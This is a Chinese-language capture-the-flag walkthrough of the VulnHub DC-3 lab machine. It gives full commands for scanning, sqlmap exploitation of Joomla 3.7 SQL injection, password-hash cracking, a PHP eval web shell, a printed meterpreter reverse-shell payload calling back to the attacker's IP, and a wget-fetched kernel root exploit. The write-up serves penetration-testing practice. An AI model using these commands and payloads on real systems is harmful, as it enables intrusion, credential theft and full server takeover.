vulnhub DC-3
报错解决
这个靶机有一个报错,更改一下磁盘就可以了
开机就可以了
先获取一下靶机IP
arp-scan -l
信息收集
nmap -A -sS -p- 192.168.47.143
就开了一个80端口
扫目录
dirb http://192.168.47.143/
在WebRbot里面扫出来两个txt文件
在这个网页http://192.168.47.143/README.txt可以看到他框架和版本Joomla 3.7
#后台登陆页面
http://192.168.47.143/administrator/
漏洞探测
使用searchsploit查找一下这个版本的漏洞
searchsploit joomla 3.7.0
看到两个漏洞的POC移出来看一下
#移到当前目录下
searchsploit php/webapps/42033.txt -m
cat 42033.txt
POC里面给了地址和sqlmap的参数直接拿sqlmap跑
漏洞利用
利用sqlmap直接去跑数据
库名
sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
表名
sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -o -D joomladb -tables -p list[fullordering]
sqlmap "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
获取敏感数据
sqlmap -u "http://192.168.47.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
不过密码加密了使用john去跑密码
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txt
john pass.txt
#账户admin
#密码snoopy
成功登录后台
方法一:
有一个新建文件点击新建后会跳到编辑页面
写入一句话木马
<?php @eval($_POST['a']);?>
前往http://192.168.47.143/templates/beez3/html/可以看到我们的gshell文件
前往蚁剑进行连接
方法二:
创建一个fshell.php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.47.129 LPORT=8888 -f raw -o cmd.php
生成反弹shell的代码
写入反弹shell的代码
/*<?php /**/ error_reporting(0); $ip = '192.168.47.129'; $port = 8888; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit
然后去访问fshell.php就可以反弹成功
开启交互式shell
shell
python -c "import pty;pty.spawn('/bin/bash')"
提权
#查找提权
find / -perm -u=s -type f 2>/dev/null
at提权无果
/ect都是root权限也没有用
使用searchsploit去检索漏洞
searchsploit ubuntu 16.04 Privilege Escalation
searchsploit -p 39772
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
exp地址将他下载下来
将他解压
然后使用python开启服务
python -m http.server
#将他下载到靶机
wget http://192.168.47.129:8000/39772/exploit.tar
下载完以后解压文件
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
在cd ebpf_mapfd_doubleput_exploit有四个文件
运行这两个文件即可成功提权
获取flag
flag在/root下
cd /root
cat the-flag.txt